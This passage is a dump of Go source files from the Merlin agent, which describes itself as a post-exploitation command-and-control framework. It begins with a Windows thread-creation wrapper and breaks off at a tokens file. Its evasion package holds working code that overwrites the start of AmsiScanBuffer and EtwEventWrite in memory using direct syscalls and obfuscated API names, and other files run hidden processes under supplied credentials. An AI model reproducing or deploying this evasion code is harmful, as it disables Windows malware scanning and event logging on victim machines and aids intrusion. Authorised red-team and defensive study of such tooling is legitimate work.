{\n\trtlCreateUserThread := ntdll.NewProc(\"RtlCreateUserThread\")\n\taddr, _, err = rtlCreateUserThread.Call(hProcess, lpSecurityDescriptor, bSuspended, zeroBits, maxStack, commitSize, lpStartAddress, pParam, hThread, pClient)\n\tif err != windows.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling Windows RtlCreateUserThread function: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n"
  },
  {
    "path": "os/windows/api/user32/user32.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage user32\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"syscall\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n)\n\nvar User32 = windows.NewLazySystemDLL(\"User32.dll\")\n\n// GetProcessWindowStation Retrieves a handle to the current window station for the calling process.\n// If the function succeeds, the return value is a handle to the window station\n// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getprocesswindowstation\nfunc GetProcessWindowStation() (hWinsta uintptr, err error) {\n\tGetProcessWindowStation := User32.NewProc(\"GetProcessWindowStation\")\n\n\thWinsta, _, err = GetProcessWindowStation.Call()\n\n\tif err != syscall.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling GetProcessWindowsStation: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n\n// GetThreadDesktop Retrieves a handle to the desktop assigned to the specified thread.\n// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getthreaddesktop\nfunc GetThreadDesktop(threadID uint32) (hDesktop uintptr, err error) {\n\tGetThreadDesktop := User32.NewProc(\"GetThreadDesktop\")\n\n\thDesktop, _, err = GetThreadDesktop.Call(uintptr(threadID))\n\tif err != syscall.Errno(0) {\n\t\terr = fmt.Errorf(\"there was an error calling GetThreadDesktop: %s\", err)\n\t} else {\n\t\terr = nil\n\t}\n\treturn\n}\n"
  },
  {
    "path": "os/windows/pkg/evasion/evasion.go",
    "content": "//go:build windows && amd64\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage evasion\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t// 3rd Party\n\tbananaphone \"github.com/C-Sto/BananaPhone/pkg/BananaPhone\"\n\n\t// X-Packages\n\t\"golang.org/x/sys/windows\"\n)\n\n// Patch will find the target procedure and overwrite the start of its function with the provided bytes.\n// Used to for evasion to patch things like amsi.dll!AmsiScanBuffer or ntdll.dll!EtwEvenWrite\nfunc Patch(module string, proc string, data *[]byte) (string, error) {\n\toldBytes, err := ReadBanana(module, proc, len(*data))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tout := fmt.Sprintf(\"\\nRead  %d bytes from %s!%s: %X\", len(*data), module, proc, oldBytes)\n\n\terr = WriteBanana(module, proc, data)\n\tif err != nil {\n\t\treturn out, err\n\t}\n\n\tout += fmt.Sprintf(\"\\nWrote %d bytes to   %s!%s: %X\", len(*data), module, proc, *data)\n\n\toldBytes, err = ReadBanana(module, proc, len(*data))\n\tif err != nil {\n\t\treturn out, err\n\t}\n\n\tout += fmt.Sprintf(\"\\nRead  %d bytes from %s!%s: %X\", len(*data), module, proc, oldBytes)\n\n\treturn out, nil\n}\n\n// Read will find the target module and procedure address and then read its byteLength\nfunc Read(module string, proc string, byteLength int) ([]byte, error) {\n\ttarget := syscall.NewLazyDLL(module).NewProc(proc)\n\terr := target.Find()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata := make([]byte, byteLength)\n\tvar readBytes *uintptr\n\n\terr = windows.ReadProcessMemory(windows.CurrentProcess(), target.Addr(), &data[0], uintptr(byteLength), readBytes)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\treturn data, nil\n}\n\n// ReadBanana will find the target procedure and overwrite the start of its function with the provided bytes directly\n// using the NtReadVirtualMemory syscall\nfunc ReadBanana(module string, proc string, byteLength int) ([]byte, error) {\n\ttarget := syscall.NewLazyDLL(module).NewProc(proc)\n\terr := target.Find()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdata := make([]byte, byteLength)\n\tbanana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\tNtReadVirtualMemory, err := banana.GetSysID(\"NtReadVirtualMemory\")\n\tif err != nil {\n\t\treturn data, err\n\t}\n\n\tret, err := bananaphone.Syscall(NtReadVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), uintptr(unsafe.Pointer(&data[0])), uintptr(byteLength), 0)\n\tif ret != 0 || err != nil {\n\t\treturn data, fmt.Errorf(\"there was an error making the NtReadVirtualMemory syscall with a return of %d: %s\", 0, err)\n\t}\n\t//fmt.Printf(\"Read  %v bytes from %s!%s: %X\\n\", byteLength, module, proc, data)\n\treturn data, nil\n}\n\n// Write will find the target module and procedure and overwrite the start of the function with the provided bytes\nfunc Write(module string, proc string, data *[]byte) error {\n\ttarget := syscall.NewLazyDLL(module).NewProc(proc)\n\terr := target.Find()\n\tif err != nil {\n\t\treturn err\n\t}\n\tvirtualProtect := syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})).NewProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't'}))\n\n\tvar oldProtect uint32\n\n\tret, _, err := virtualProtect.Call(uintptr(unsafe.Pointer(target)), uintptr(len(*data)), uintptr(uint32(windows.PAGE_EXECUTE_READWRITE)), uintptr(unsafe.Pointer(&oldProtect)))\n\tif ret == 0 || err != syscall.Errno(0) {\n\t\treturn fmt.Errorf(\"there was an error calling Kernel32!VirtualProtect with return code %d: %s\\n\", ret, err)\n\t}\n\n\tvar writeBytes *uintptr\n\tdata2 := *data\n\terr = windows.WriteProcessMemory(windows.CurrentProcess(), target.Addr(), &data2[0], uintptr(len(*data)), writeBytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tret, _, err = virtualProtect.Call(uintptr(unsafe.Pointer(target)), uintptr(len(*data)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))\n\tif ret == 0 || err != syscall.Errno(0) {\n\t\treturn fmt.Errorf(\"there was an error calling Kernel32!VirtualProtect with return code %d: %s\\n\", ret, err)\n\t}\n\treturn nil\n}\n\n// WriteBanana will find the target module and procedure and overwrite the start of the function with the provided bytes\n// using the ZwWriteVirtualMemory syscall directly\nfunc WriteBanana(module string, proc string, data *[]byte) error {\n\ttarget := syscall.NewLazyDLL(module).NewProc(proc)\n\terr := target.Find()\n\tif err != nil {\n\t\treturn err\n\t}\n\tbanana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)\n\tif err != nil {\n\t\treturn err\n\t}\n\tZwWriteVirtualMemory, err := banana.GetSysID(\"ZwWriteVirtualMemory\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tNtProtectVirtualMemory, err := banana.GetSysID(\"NtProtectVirtualMemory\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbaseAddress := target.Addr()\n\tnumberOfBytesToProtect := uintptr(len(*data))\n\tvar oldProtect uint32\n\n\t// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html\n\tret, err := bananaphone.Syscall(NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))\n\tif ret != 0 || err != nil {\n\t\treturn fmt.Errorf(\"there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s\", 0, err)\n\t}\n\n\t// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html\n\tret, err = bananaphone.Syscall(ZwWriteVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), uintptr(unsafe.Pointer(&[]byte(*data)[0])), unsafe.Sizeof(*data), 0)\n\tif ret != 0 || err != nil {\n\t\treturn fmt.Errorf(\"there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s\", 0, err)\n\t}\n\n\tret, err = bananaphone.Syscall(NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))\n\tif ret != 0 || err != nil {\n\t\treturn fmt.Errorf(\"there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s\", 0, err)\n\t}\n\t//fmt.Printf(\"Wrote %d bytes from %s!%s: %X\\n\", len(*data), module, proc, *data)\n\treturn nil\n}\n"
  },
  {
    "path": "os/windows/pkg/evasion/evasion_386.go",
    "content": "//go:build windows && !amd64\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage evasion\n\nimport (\n\t// Standard\n\t\"fmt\"\n)\n\n// Patch will find the target procedure and overwrite the start of its function with the provided bytes.\n// Used to for evasion to patch things like amsi.dll!AmsiScanBuffer or ntdll.dll!EtwEvenWrite\nfunc Patch(module string, proc string, data *[]byte) (string, error) {\n\treturn \"\", fmt.Errorf(\"cannot patch %s!%s on x86 architecture\", module, proc)\n}\n\n// Read will find the target module and procedure address and then read its byteLength\nfunc Read(module string, proc string, byteLength int) ([]byte, error) {\n\treturn []byte{}, fmt.Errorf(\"cannot read %d bytes for %s!%s on x86 architecture\", byteLength, module, proc)\n}\n\n// ReadBanana will find the target procedure and overwrite the start of its function with the provided bytes directly\n// using the NtReadVirtualMemory syscall\nfunc ReadBanana(module string, proc string, byteLength int) ([]byte, error) {\n\treturn []byte{}, fmt.Errorf(\"cannot read %d bytes for %s!%s on x86 architecture\", byteLength, module, proc)\n}\n\n// Write will find the target module and procedure and overwrite the start of the function with the provided bytes\nfunc Write(module string, proc string, data *[]byte) error {\n\treturn fmt.Errorf(\"cannot write %d bytes for %s!%s on x86 architecture\", len(*data), module, proc)\n}\n\n// WriteBanana will find the target module and procedure and overwrite the start of the function with the provided bytes\n// using the ZwWriteVirtualMemory syscall directly\nfunc WriteBanana(module string, proc string, data *[]byte) error {\n\treturn fmt.Errorf(\"cannot write %d bytes for %s!%s on x86 architecture\", len(*data), module, proc)\n}\n"
  },
  {
    "path": "os/windows/pkg/pipes/pipes.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage pipes\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"unicode/utf8\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/text\"\n)\n\n// CreateAnonymousPipes creates and returns a handle for STDIN, STDOUT, and STDERR\nfunc CreateAnonymousPipes() (stdInRead, stdInWrite, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite windows.Handle, err error) {\n\t// Pipe Security Attributes\n\t// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)\n\tsa := &windows.SecurityAttributes{\n\t\tInheritHandle: 1,\n\t}\n\t// Create anonymous pipe for STDIN\n\terr = windows.CreatePipe(&stdInRead, &stdInWrite, sa, 0)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"error creating the STDIN pipe:\\r\\n%s\", err)\n\t\treturn\n\t}\n\n\t// Create anonymous pipe for STDOUT\n\terr = windows.CreatePipe(&stdOutRead, &stdOutWrite, sa, 0)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"error creating the STDOUT pipe:\\r\\n%s\", err)\n\t\treturn\n\t}\n\n\t// Create anonymous pipe for STDERR\n\terr = windows.CreatePipe(&stdErrRead, &stdErrWrite, sa, 0)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"error creating the STDERR pipe:\\r\\n%s\", err)\n\t\treturn\n\t}\n\n\terr = nil\n\treturn\n}\n\n// ClosePipes closes the handle for all the passed in STDIN, STDOUT, and STDERR read and write handles\nfunc ClosePipes(stdInRead, stdInWrite, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite windows.Handle) (err error) {\n\t// STDIN - Read\n\tif stdInRead != 0 {\n\t\terr = windows.CloseHandle(stdInRead)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"error closing the STDIN read pipe handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// STDIN - Write\n\tif stdInWrite != 0 {\n\t\terr = windows.CloseHandle(stdInWrite)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"error closing the STDIN write pipe handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// STDOUT - Read\n\tif stdOutRead != 0 {\n\t\terr = windows.CloseHandle(stdOutRead)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"error closing the STDOUT read pipe handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// STDOUT - Write\n\tif stdOutWrite != 0 {\n\t\terr = windows.CloseHandle(stdOutWrite)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"error closing the STDOUT write pipe handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// STDERR - Read\n\tif stdErrRead != 0 {\n\t\terr = windows.CloseHandle(stdErrRead)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"error closing the STDERR read pipe handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// STDERR - Write\n\tif stdErrWrite != 0 {\n\t\terr = windows.CloseHandle(stdErrWrite)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"error closing the STDERR write pipe handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\terr = nil\n\treturn\n}\n\n// ReadPipes reads data from the passed in STDIN, STDOUT, and STDERR pipes and returns it as a string\nfunc ReadPipes(stdInRead, stdOutRead, stdErrRead windows.Handle) (stdin, stdout, stderr string, err error) {\n\t// Read STDOUT from child process\n\t/*\n\t\tBOOL ReadFile(\n\t\tHANDLE       hFile,\n\t\tLPVOID       lpBuffer,\n\t\tDWORD        nNumberOfBytesToRead,\n\t\tLPDWORD      lpNumberOfBytesRead,\n\t\tLPOVERLAPPED lpOverlapped\n\t\t);\n\t*/\n\tnNumberOfBytesToRead := make([]byte, 1)\n\n\t// STDIN\n\tif stdInRead != 0 {\n\t\t// Read STDIN\n\t\tvar stdInBuffer []byte\n\t\tvar stdInDone uint32\n\t\tvar stdInOverlapped windows.Overlapped\n\n\t\tfor {\n\t\t\terrReadFileStdErr := windows.ReadFile(stdInRead, nNumberOfBytesToRead, &stdInDone, &stdInOverlapped)\n\t\t\tif errReadFileStdErr != nil && errReadFileStdErr.Error() != \"The pipe has been ended.\" {\n\t\t\t\tstderr = fmt.Sprintf(\"error reading from STDIN pipe: %s\", errReadFileStdErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif int(stdInDone) == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfor _, b := range nNumberOfBytesToRead {\n\t\t\t\tstdInBuffer = append(stdInBuffer, b)\n\t\t\t}\n\t\t}\n\t\tstdin = string(stdInBuffer)\n\t}\n\n\t// STDOUT\n\tif stdOutRead != 0 {\n\t\tvar stdOutBuffer []byte\n\t\tvar stdOutDone uint32\n\t\tvar stdOutOverlapped windows.Overlapped\n\n\t\t// ReadFile on STDOUT pipe\n\t\tfor {\n\t\t\terrReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped)\n\t\t\tif errReadFileStdOut != nil && errReadFileStdOut.Error() != \"The pipe has been ended.\" {\n\t\t\t\tstderr = fmt.Sprintf(\"error reading from STDOUT pipe: %s\", errReadFileStdOut)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif int(stdOutDone) == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfor _, b := range nNumberOfBytesToRead {\n\t\t\t\tstdOutBuffer = append(stdOutBuffer, b)\n\t\t\t}\n\t\t}\n\n\t\t// Convert the output to a string\n\t\tif utf8.Valid(stdOutBuffer) {\n\t\t\tstdout += string(stdOutBuffer)\n\t\t} else {\n\t\t\ts, e := text.DecodeString(stdOutBuffer)\n\t\t\tif e != nil {\n\t\t\t\tstderr = fmt.Sprintf(\"%s\\n\", e)\n\t\t\t} else {\n\t\t\t\tstdout += s\n\t\t\t}\n\t\t}\n\t}\n\n\t// STDERR\n\tif stdErrRead != 0 {\n\t\t// Read STDERR\n\t\tvar stdErrBuffer []byte\n\t\tvar stdErrDone uint32\n\t\tvar stdErrOverlapped windows.Overlapped\n\n\t\tfor {\n\t\t\terrReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped)\n\t\t\tif errReadFileStdErr != nil && errReadFileStdErr.Error() != \"The pipe has been ended.\" {\n\t\t\t\tstderr = fmt.Sprintf(\"error reading from STDOUT pipe: %s\", errReadFileStdErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif int(stdErrDone) == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfor _, b := range nNumberOfBytesToRead {\n\t\t\t\tstdErrBuffer = append(stdErrBuffer, b)\n\t\t\t}\n\t\t}\n\n\t\t// Convert the output to a string\n\t\tif utf8.Valid(stdErrBuffer) {\n\t\t\tstderr += string(stdErrBuffer)\n\t\t} else {\n\t\t\ts, e := text.DecodeString(stdErrBuffer)\n\t\t\tif e != nil {\n\t\t\t\tstderr = fmt.Sprintf(\"%s\\n\", e)\n\t\t\t} else {\n\t\t\t\tstderr += s\n\t\t\t}\n\t\t}\n\t}\n\n\terr = nil\n\treturn\n}\n"
  },
  {
    "path": "os/windows/pkg/processes/processes.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage processes\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"syscall\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/advapi32\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes\"\n)\n\n// LOGON_ The logon option\nconst (\n\tLOGON_WITH_PROFILE        uint32 = 0x1\n\tLOGON_NETCREDENTIALS_ONLY uint32 = 0x2\n)\n\n// CreateProcessWithLogon creates a new process and its primary thread. Then the new process runs the specified\n// executable file in the security context of the specified credentials (user, domain, and password).\n// It can optionally load the user profile for a specified user.\n// This wrapper function performs validation checks on input arguments and converts them to the necessary type\nfunc CreateProcessWithLogon(username string, domain string, password string, application string, args string, logon uint32, hide bool) (stdout string, stderr string) {\n\tif username == \"\" {\n\t\tstderr = \"a username must be provided for the CreateProcessWithLogon call\"\n\t\treturn\n\t}\n\n\tif password == \"\" {\n\t\tstderr = \"a password must be provided for the CreateProcessWithLogon call\"\n\t\treturn\n\t}\n\n\tif application == \"\" {\n\t\tstderr = \"an application must be provided for the CreateProcessWithLogon call\"\n\t\treturn\n\t}\n\n\t// Check for UPN format (e.g., rastley@acme.com)\n\tif strings.Contains(username, \"@\") {\n\t\ttemp := strings.Split(username, \"@\")\n\t\tusername = temp[0]\n\t\tdomain = temp[1]\n\t}\n\n\t// Check for domain format (e.g., ACME\\rastley)\n\tif strings.Contains(username, \"\\\\\") {\n\t\ttemp := strings.Split(username, \"\\\\\")\n\t\tusername = temp[1]\n\t\tdomain = temp[0]\n\t}\n\n\t// Check for an empty or missing domain; used with local user accounts\n\tif domain == \"\" {\n\t\tdomain = \".\"\n\t}\n\n\t// Convert the username to a LPCWSTR\n\tlpUsername, err := syscall.UTF16PtrFromString(username)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the username \\\"%s\\\" to LPCWSTR: %s\", username, err)\n\t\treturn\n\t}\n\n\t// Convert the domain to a LPCWSTR\n\tlpDomain, err := syscall.UTF16PtrFromString(domain)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the domain \\\"%s\\\" to LPCWSTR: %s\", domain, err)\n\t\treturn\n\t}\n\n\t// Convert the password to a LPCWSTR\n\tlpPassword, err := syscall.UTF16PtrFromString(password)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the password \\\"%s\\\" to LPCWSTR: %s\", password, err)\n\t\treturn\n\t}\n\n\t// Search PATH environment variable to retrieve the application's absolute path\n\tapplication, err = exec.LookPath(application)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error resolving the absolute path for %s: %s\", application, err)\n\t\treturn\n\t}\n\n\t// Convert the application to a LPCWSTR\n\tlpApplicationName, err := syscall.UTF16PtrFromString(application)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the application name \\\"%s\\\" to LPCWSTR: %s\", application, err)\n\t\treturn\n\t}\n\n\t// Convert the program to a LPCWSTR\n\tlpCommandLine, err := syscall.UTF16PtrFromString(args)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the application arguments \\\"%s\\\" to LPCWSTR: %s\", args, err)\n\t\treturn\n\t}\n\n\t// Setup pipes to retrieve output\n\tstdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes()\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error creating anonymous pipes to collect output: %s\", err)\n\t\treturn\n\t}\n\n\tlpCurrentDirectory := uint16(0)\n\tlpStartupInfo := windows.StartupInfo{\n\t\tStdInput:  stdInRead,\n\t\tStdOutput: stdOutWrite,\n\t\tStdErr:    stdErrWrite,\n\t\tFlags:     windows.STARTF_USESTDHANDLES,\n\t}\n\tif hide {\n\t\tlpStartupInfo.Flags = windows.STARTF_USESTDHANDLES | windows.STARTF_USESHOWWINDOW\n\t\tlpStartupInfo.ShowWindow = windows.SW_HIDE\n\t}\n\tlpProcessInformation := windows.ProcessInformation{}\n\n\terr = advapi32.CreateProcessWithLogon(\n\t\tlpUsername,\n\t\tlpDomain,\n\t\tlpPassword,\n\t\tlogon,\n\t\tlpApplicationName,\n\t\tlpCommandLine,\n\t\t0,\n\t\t0,\n\t\t&lpCurrentDirectory,\n\t\t&lpStartupInfo,\n\t\t&lpProcessInformation,\n\t)\n\n\tif err != nil {\n\t\tstderr += err.Error()\n\t\treturn\n\t}\n\n\tstdout += fmt.Sprintf(\"Created %s process with an ID of %d\\n\", application, lpProcessInformation.ProcessId)\n\n\t// Close the \"write\" pipe handles\n\terr = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\t// Read from the pipes\n\tvar out string\n\t_, out, stderr, err = pipes.ReadPipes(0, stdOutRead, stdErrRead)\n\tif err != nil {\n\t\tstderr += err.Error()\n\t\treturn\n\t}\n\tstdout += out\n\n\t// Close the \"read\" pipe handles\n\terr = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0)\n\tif err != nil {\n\t\tstderr += err.Error()\n\t\treturn\n\t}\n\treturn\n}\n"
  },
  {
    "path": "os/windows/pkg/text/text.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage text\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\t\"golang.org/x/text/encoding/japanese\"\n\t\"golang.org/x/text/encoding/korean\"\n\t\"golang.org/x/text/encoding/simplifiedchinese\"\n\t\"golang.org/x/text/encoding/traditionalchinese\"\n\t\"golang.org/x/text/transform\"\n)\n\n// DecodeString decodes a byte slice to a string using the current code page\nfunc DecodeString(encoded []byte) (decoded string, err error) {\n\tcodePage := windows.GetACP()\n\n\tswitch codePage {\n\t// 437 is the default code page for US English\n\tcase 437:\n\t\tdecoded = string(encoded)\n\t\treturn\n\t// 932 is the default code page for Japanese\n\tcase 932:\n\t\tt, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), japanese.ShiftJIS.NewDecoder()))\n\t\tif e != nil {\n\t\t\terr = fmt.Errorf(\"os/windows/pkg/text.DecodeString(): there was an error decoding the string to ShiftJIS: %s\", e)\n\t\t\treturn\n\t\t}\n\t\tdecoded = string(t)\n\t// 936 is the default code page for Simplified Chinese\n\tcase 936:\n\t\tt, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), simplifiedchinese.GBK.NewDecoder()))\n\t\tif e != nil {\n\t\t\terr = fmt.Errorf(\"os/windows/pkg/text.DecodeString(): there was an error decoding the string to Simplified Chinese GBK: %s\", e)\n\t\t\treturn\n\t\t}\n\t\tdecoded = string(t)\n\t// 949 is the default code page for Korean\n\tcase 949:\n\t\tt, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), korean.EUCKR.NewDecoder()))\n\t\tif e != nil {\n\t\t\terr = fmt.Errorf(\"os/windows/pkg/text.DecodeString(): there was an error decoding the string to Korean EUCKR: %s\", e)\n\t\t\treturn\n\t\t}\n\t\tdecoded = string(t)\n\t// 950 is the default code page for Traditional Chinese\n\tcase 950:\n\t\tt, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), traditionalchinese.Big5.NewDecoder()))\n\t\tif e != nil {\n\t\t\terr = fmt.Errorf(\"os/windows/pkg/text.DecodeString(): there was an error decoding the string to Traditional Chinese Big5: %s\", e)\n\t\t\treturn\n\t\t}\n\t\tdecoded = string(t)\n\tdefault:\n\t\tdecoded = fmt.Sprintf(\"\\n***The output was not valid UTF-8 and there isn't a configured decoder for code page %d***\\n\\n\", codePage)\n\t\tdecoded += string(bytes.ToValidUTF8(encoded, []byte(\"�\")))\n\t}\n\treturn\n}\n"
  },
  {
    "path": "os/windows/pkg/tokens/tokens.go",
